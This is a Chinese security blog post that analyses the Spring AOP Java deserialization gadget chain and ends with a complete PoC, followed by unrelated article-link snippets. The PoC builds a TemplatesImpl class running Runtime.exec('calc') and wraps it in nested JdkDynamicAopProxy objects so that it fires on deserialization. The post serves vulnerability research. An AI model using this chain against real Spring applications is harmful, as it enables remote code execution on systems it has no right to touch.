JavaSec | SpringAOP 链学习分析

article/2025/6/9 20:05:45

 目录:

链子分析

  反向分析

  正向分析

poc 构造

总结

链子分析

反向分析

依赖于 Spring-AOP 和 aspectjweaver 两个包,在我们 springboot 中的 spring-boot-starter-aop 自带包含这俩类,所以也可以说是 spring boot 的原生反序化链了,调用链如下,

Gadget
JdkDynamicAopProxy.invoke()->ReflectiveMethodInvocation.proceed()->JdkDynamicAopProxy.invoke()->AspectJAroundAdvice.invoke->org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->method.invoke()

这里调用两次 JdkDynamicAopProxy.invoke()是因为后面包了两层 JdkDynamicAopProxy 代理。

看似链子很简单其实里面大有学问,先看链子最后 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()
方法,会调用到 invokeAdviceMethodWithGivenArgs 方法,在这个方法中存在反射调用

img

 

aspectJAdviceMethod 变量可以控制,让其为目标方法,this.aspectInstanceFactory.getAspectInstance() 看师傅们选的是 SingletonAspectInstanceFactory 这个 factory 类,同样可以控制返回值,至于方法参数 actualArgs 我也难得看了,这里先不管,无参方法的话就选择 newTransformer() 吧,

img

 

接着继续看链子可以知道在 AspectJAroundAdvice#invoke 调用了 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod() 方法,因为 AspectJAroundAdvice 是子类,其没有invokeAdviceMethod()方法所以会调用到父类AbstractAspectJAdvice的该方法,

这里简单提一下双亲委派机制,上面不是说了父类实列化才能控制几个变量吗,但是其实看后面分析,我们需要传入的对象其实也就是AspectJAroundAdvice对象,而我们实列化AspectJAroundAdvice对象传入的变量其实同样会影响到父类,调用到父类invokeAdviceMethod()方法时,如果父类的变量为null就会去子类寻找

img

 

参数什么的就不用管了,然后继续顺着链子向上看,来到 ReflectiveMethodInvocation.proceed() 方法,

img

 

需要让这里的 interceptorOrInterceptionAdvice 变量为 AspectJAroundAdvice 类,朔源一下interceptorsAndDynamicMethodMatchers变量,在构造函数进行了赋值,(不过不能直接实列化)

img

 

最后来到JdkDynamicAopProxy.invoke()方法,看到在else分支调用了我们的 ReflectiveMethodInvocation.proceed() 方法,而且巧妙的是ReflectiveMethodInvocation类没有继承serializable接口,不能被反序列化的,但是这里直接就进行实列化

img

 

正向分析

我们需要控制的也就是 chain 参数,其就是上面的interceptorOrInterceptionAdvice 变量,我们要让其为AspectJAroundAdvice 类,而且chain也只有不为空才能来到else分支,

List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

跟进 getInterceptorsAndDynamicInterceptionAdvice(method, targetClass) 方法,最后返回的是cached变量,有两处进行了赋值,

img

 

这里就是在 map 缓存中寻找,但是简单查看就知道 methodCache 是 transient 修饰的,不能进行序列化所以一定为 null,

List<Object> cached = (List)this.methodCache.get(cacheKey);

只能考虑下面这段代码了,

cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);

继续跟进 getInterceptorsAndDynamicInterceptionAdvice方法,实现了这个方法的只有DefaultAdvisorChainFactory类。

看到最后返回的是interceptorList变量,看到只有在for循环中才会对interceptorList赋值,而要进行for循环就需要config.getAdvisors();不为空列表,看到 config 就是上面传入的this也就是AdvisedSupport对象,我们需要AdvisedSupport.getAdvisors()不为空列表,这个很好控制,

那么我们控制的AdvisedSupport对象是怎么传进去的呢,我分析发现这是从jack稳定开始JdkDynamicAopProxy构造函数的参数就用的这个对象,因为JdkDynamicAopProxy对象中那个参数advised就是AdvisedSupport

public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) {  AdvisorAdapterRegistryregistry= GlobalAdvisorAdapterRegistry.getInstance();  Advisor[] advisors = config.getAdvisors();  List<Object> interceptorList = newArrayList(advisors.length);  Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass();  BooleanhasIntroductions=null;  Advisor[] var9 = advisors;  intvar10= advisors.length;  for(intvar11=0; var11 < var10; ++var11) {  Advisoradvisor= var9[var11];  if (advisor instanceof PointcutAdvisor) {  PointcutAdvisorpointcutAdvisor= (PointcutAdvisor)advisor;  if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {  MethodMatchermm= pointcutAdvisor.getPointcut().getMethodMatcher();  boolean match;  if (mm instanceof IntroductionAwareMethodMatcher) {  if (hasIntroductions == null) {  hasIntroductions = hasMatchingIntroductions(advisors, actualClass);  }  match = ((IntroductionAwareMethodMatcher)mm).matches(method, actualClass, hasIntroductions);  } else {  match = mm.matches(method, actualClass);  }  if (match) {  MethodInterceptor[] interceptors = registry.getInterceptors(advisor);  if (mm.isRuntime()) {  MethodInterceptor[] var17 = interceptors;  intvar18= interceptors.length;  for(intvar19=0; var19 < var18; ++var19) {  MethodInterceptorinterceptor= var17[var19];  interceptorList.add(newInterceptorAndDynamicMethodMatcher(interceptor, mm));  }  } else {  interceptorList.addAll(Arrays.asList(interceptors));  }  }  }  } elseif (advisor instanceof IntroductionAdvisor) {  IntroductionAdvisoria= (IntroductionAdvisor)advisor;  if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {  Interceptor[] interceptors = registry.getInterceptors(advisor);  interceptorList.addAll(Arrays.asList(interceptors));  }  } else {  Interceptor[] interceptors = registry.getInterceptors(advisor);  interceptorList.addAll(Arrays.asList(interceptors));  }  }  return interceptorList;  
}

然后进入循环后就是看到interceptors的赋值了

 Interceptor[] interceptors = registry.getInterceptors(advisor);  

registry就是DefaultAdvisorAdapterRegistry对象,跟进看到advice如果继承了MethodInterceptor类就会被添加进interceptors中,

img

 

而这个advice变量需要时Advice类型然后还需要实现MethodInterceptor接口,我们需要让这个advice为我们的目标类也就是 AspectJAroundAdvice ,但是这个目标类只实现了MethodInterceptor接口,

这就不得不提师傅们的顶级思路了,通过再套层JdkDynamicAopProxy代理让我们的AspectJAroundAdvice类实现MethodInterceptor接口并且为advice类型,然后最后得到的advice就是个proxy,

img

 

然后一直返回到 chain,

img

 

跟进就来到上面反向分析的ReflectiveMethodInvocation.proceed()方法,在这里看到我们的interceptorOrInterceptionAdvice为代理类,

img

 

触发JdkDynamicAopProxy#invoke,反射调用目标类的 invoke 方法,

img

 

最后回到上面的反向分析的调用链,最后进行命令执行


poc 构造

经过上面分析,链子构造就层层赋值就可以了,这里参考一下:https://gsbp0.github.io/post/springaop/ 进行构造 poc,

通过 tostring 进行触发代理类,当然其实什么方法可以。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import org.aopalliance.aop.Advice;  
import org.aopalliance.intercept.MethodInterceptor;  
import org.springframework.aop.aspectj.AbstractAspectJAdvice;  
import org.springframework.aop.aspectj.AspectJAroundAdvice;  
import org.springframework.aop.aspectj.AspectJExpressionPointcut;  
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;  
import org.springframework.aop.framework.AdvisedSupport;  
import org.springframework.aop.support.DefaultIntroductionAdvisor;  
import org.springframework.core.Ordered;  import java.io.*;  
import java.lang.reflect.*;  
import java.util.PriorityQueue;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import javax.management.BadAttributeValueExpException;  
import javax.xml.transform.Templates;  publicclasstest {  publicstaticvoidmain(String[] args)throws Exception {  ClassPoolpool= ClassPool.getDefault();  CtClassclazz= pool.makeClass("a");  CtClasssuperClass= pool.get(AbstractTranslet.class.getName());  clazz.setSuperclass(superClass);  CtConstructorconstructor=newCtConstructor(newCtClass[]{}, clazz);  constructor.setBody("Runtime.getRuntime().exec(\"calc\");");  clazz.addConstructor(constructor);  byte[][] bytes = newbyte[][]{clazz.toBytecode()};  TemplatesImpltemplates= TemplatesImpl.class.newInstance();  setValue(templates, "_bytecodes", bytes);  setValue(templates, "_name", "test");  setValue(templates, "_tfactory", null);  Method method=templates.getClass().getMethod("newTransformer");//获取newTransformer方法  SingletonAspectInstanceFactoryfactory=newSingletonAspectInstanceFactory(templates);  AspectJAroundAdviceadvice=newAspectJAroundAdvice(method,newAspectJExpressionPointcut(),factory);  Proxyproxy1= (Proxy) getAProxy(advice,Advice.class);  BadAttributeValueExpExceptionbadAttributeValueExpException=newBadAttributeValueExpException(123);  setValue(badAttributeValueExpException, "val", proxy1);  serilize(badAttributeValueExpException);  deserilize("ser.bin");  }  publicstatic Object getBProxy(Object obj,Class[] clazzs)throws Exception  {  AdvisedSupportadvisedSupport=newAdvisedSupport();  advisedSupport.setTarget(obj);  Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);  constructor.setAccessible(true);  InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);  return proxy;  }  publicstatic Object getAProxy(Object obj,Class<?> clazz)throws Exception  {  AdvisedSupportadvisedSupport=newAdvisedSupport();  advisedSupport.setTarget(obj);  AbstractAspectJAdviceadvice= (AbstractAspectJAdvice) obj;  DefaultIntroductionAdvisoradvisor=newDefaultIntroductionAdvisor((Advice) getBProxy(advice, newClass[]{MethodInterceptor.class, Advice.class}));  advisedSupport.addAdvisor(advisor);  Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);  constructor.setAccessible(true);  InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), newClass[]{clazz}, handler);  return proxy;  }  publicstaticvoidserilize(Object obj)throws IOException {  ObjectOutputStream out=newObjectOutputStream(newFileOutputStream("ser.bin"));  out.writeObject(obj);  }  publicstatic Object deserilize(String Filename)throws IOException,ClassNotFoundException{  ObjectInputStream in=newObjectInputStream(newFileInputStream(Filename));  Object obj=in.readObject();  return obj;  }  publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception {  Fieldfield= obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  }  }

总结

这里的JdkDynamicAopProxy代理类实现MethodInterceptor接口又是Advice类型只是一层,另一层是后续把这个代理类当作目标类进行处理调用 invoke 方法然后触发handler#invoke方法,再次反射调用AspectJAroundAdvice#invoke方法形成利用。

参考:https://gsbp0.github.io/post/springaop/

参考:https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关    


http://www.hkcw.cn/article/yvNBPJnjOB.shtml

相关文章

PV操作的C++代码示例讲解

文章目录 一、PV操作基本概念&#xff08;一&#xff09;信号量&#xff08;二&#xff09;P操作&#xff08;三&#xff09;V操作 二、PV操作的意义三、C中实现PV操作的方法&#xff08;一&#xff09;使用信号量实现PV操作代码解释&#xff1a; &#xff08;二&#xff09;使…

医疗内窥镜影像工作站技术方案(续)——EFISH-SCB-RK3588国产化替代技术深化解析

一、异构计算架构的医疗场景适配 ‌多核任务调度优化‌ ‌A76/A55协同计算‌&#xff1a;4Cortex-A762.4GHz负责AI推理&#xff08;如息肉识别算法&#xff09;&#xff0c;4Cortex-A551.8GHz处理DICOM影像传输协议&#xff0c;多任务负载效率比赛扬N系列提升80%‌NPU加速矩阵…

HCIP-Datacom Core Technology V1.0_3 OSPF基础

动态路由协议简介 静态路由相比较动态路由有什么优点呢。 静态路由协议&#xff0c;当网络发生故障或者网络拓扑发生变更&#xff0c;它需要管理员手工配置去干预静态路由配置&#xff0c;但是动态路由协议&#xff0c;它能够及时自己感应网络拓扑变化&#xff0c;不路由选择…

敏捷转型:破局之道

在数字化浪潮与市场不确定性加剧的背景下&#xff0c;传统组织向敏捷组织转型已成为企业生存与发展的核心命题。这种转型并非简单的工具迭代或流程优化&#xff0c;而是涉及治理结构、文化基因与人才机制的深度重构。理解两种组织形态的本质差异&#xff0c;明确转型的适用场景…

WordPress 6.5版本带来的新功能

WordPress 6.5正式上线了&#xff01;WordPress团队再一次为我们带来了许多新的改进。在全球开发者的共同努力下&#xff0c;WordPress推出了许多新的功能&#xff0c;本文将对其进行详细总结。 Hostease的虚拟主机现已支持一键安装最新版本的WordPress。对于想要体验WordPres…

软硬解锁通用Switch大气层1.9.0系统+20.0.1固件升级 图文教程 附大气层大气层固件升级整合包下载

软硬解锁通用Switch大气层1.9.0系统20.0.1固件升级 图文教程 附大气层大气层固件升级整合包下载 大气层&#xff08;Atmosphere&#xff09;是为任天堂 Switch 主机开发的免费开源自定义固件&#xff08;CFW&#xff09;&#xff0c;由开发者 SciresM 领导的团队维护。它允许用…

Redisson学习专栏(五):源码阅读及Redisson的Netty通信层设计

文章目录 前言一、分布式锁核心实现&#xff1a;RedissonLock源码深度解析1.1 加锁机制&#xff1a;原子性与重入性实现1.2 看门狗机制&#xff1a;锁自动续期设计1.3 解锁机制&#xff1a;安全释放与通知1.4 锁竞争处理&#xff1a;等待队列与公平性1.5 容错机制&#xff1a;异…

字节新出的MCP应用DeepSearch,有点意思。

大家好&#xff0c;我是苍何。 悄悄告诉你个事&#xff0c;昨天我去杭州参加字节火山方舟举办的开发者见面会了&#xff0c;你别说&#xff0c;还真有点刘姥姥进大观园的感觉&#x1f436; 现场真实体验完这次新发布的产品和模型&#xff0c;激动的忍不住想给大家做一波分享。…

光耦电路学习,光耦输入并联电阻、并联电容,光耦输出滤波电路

一般的光耦电路&#xff0c;只需要输入限流电阻&#xff0c;输出上拉电阻即可。 实际使用时&#xff0c;比如工控等一些干扰大、存在浪涌电压等的场合&#xff0c;根据实际可以添加一些抗干扰电路、滤波电路&#xff0c;增加电路抗干扰能力。 比如&#xff1a; 1、给光耦输入两…

JVM知识

目录 运行时数据区域 程序计数器 Java虚拟机栈 局部变量表 操作数栈 动态链接 本地方法栈 Java堆 方法区 运行时常量池 字符串常量池 直接内存 Java对象的创建过程 对象的内存布局 对象的访问 常见的 GC 类型 ​​Minor GC&#xff08;Young GC&#xff09;​ …

Spring AI介绍及大模型对接

目录 1. Spring AI介绍 2. Spring AI常用组件 2.1. Chat Client API 2.2. Models 2.3. Vector Databases 2.4. RAG 2.5. MCP 3. 大模型对接举例 3.1. 获取deepseek的API keys 3.2. idea创建工程 3.3. 配置application.yml 3.4. 编写Controller测试类 3.5. 验证Con…

C++算法训练营 Day6 哈希表(1)

1.有效的字母异位词 LeetCode&#xff1a;242.有效的字母异位词 给定两个字符串s和t &#xff0c;编写一个函数来判断t是否是s的字母异位词。 示例 1: 输入: s “anagram”, t “nagaram” 输出: true 示例 2: 输入: s “rat”, t “car” 输出: false 解题思路&#xff…

LeetCode hot100-11

题目描述 题目链接&#xff1a;滑动窗口最大值 给你一个整数数组 nums&#xff0c;有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。 返回 滑动窗口中的最大值 。 示例 1&#xff1a; 输入…

js web api阶段

一.变量声明 1.JS中的const const在js修饰数组和对象&#xff0c;本质类似与c的引用数据类型&#xff0c;所以类似于 int* const ref 修饰的是地址&#xff0c;值是可以改变的 然后下面这种情况是禁止的 左边这种都有括号&#xff0c;说明是建立了一个块新地址去存放&#xf…

【计算机网络】数据链路层——ARP协议

&#x1f525;个人主页&#x1f525;&#xff1a;孤寂大仙V &#x1f308;收录专栏&#x1f308;&#xff1a;计算机网络 &#x1f339;往期回顾&#x1f339;&#xff1a;【计算机网络】网络层IP协议与子网划分详解&#xff1a;从主机通信到网络设计的底层逻辑 &#x1f516;流…

群晖 NAS 如何帮助培训学校解决文件管理难题

在现代教育环境中&#xff0c;数据管理和协同办公的效率直接影响到教学质量和工作流畅性。某培训学校通过引入群晖 NAS&#xff0c;显著提升了部门的协同办公效率。借助群晖的在线协作、自动备份和快照功能&#xff0c;该校不仅解决了数据散乱和丢失的问题&#xff0c;还大幅节…

基于LLaMA-Factory和Easy Dataset的Qwen3微调实战:从数据准备到LoRA微调推理评估的全流程指南

随着开源大模型如 LLaMA、Qwen 和 Baichuan 的广泛应用&#xff0c;其基于通用数据的训练方式在特定下游任务和垂直领域中的表现仍存在提升空间&#xff0c;因此衍生出针对具体场景的微调训练需求。这些训练涵盖预训练&#xff08;PT&#xff09;、指令微调&#xff08;SFT&…

视觉语言动作模型 (VLAs) :赋予机器行动的智慧

文章目录 一、VLA 的诞生&#xff1a;从单模态到多模态的飞跃二、深入剖析 VLA&#xff1a;核心组件与工作原理三、前沿进展&#xff1a;那些令人瞩目的 VLA 模型与趋势四、VLA 的广阔天地&#xff1a;应用场景一览五、挑战与荆棘&#xff1a;VLA 面临的难题六、未来展望&#…

C/S医学影像系统源码,全院一体化PACS系统源码,实现全院检查预约和信息共享互通

全院一体化PACS系统源码 全院级PACS系统不仅仅具有安全、高效、稳定的访问/存储/调阅架构和强大的影像后台处理功能&#xff1b;还是一个全院一体化的PACS系统&#xff0c;覆盖了医院所有影像科室&#xff08;放射、超声、内镜、病理、心脑电等&#xff09;&#xff1b;从影像…

力扣刷题Day 69:搜索二维矩阵(74)

1.题目描述 2.思路 首先判断target是否有可能在矩阵的某一行里&#xff0c;没可能直接返回False&#xff0c;有可能就在这一行里二分查找。 3.代码&#xff08;Python3&#xff09; class Solution:def searchMatrix(self, matrix: List[List[int]], target: int) -> boo…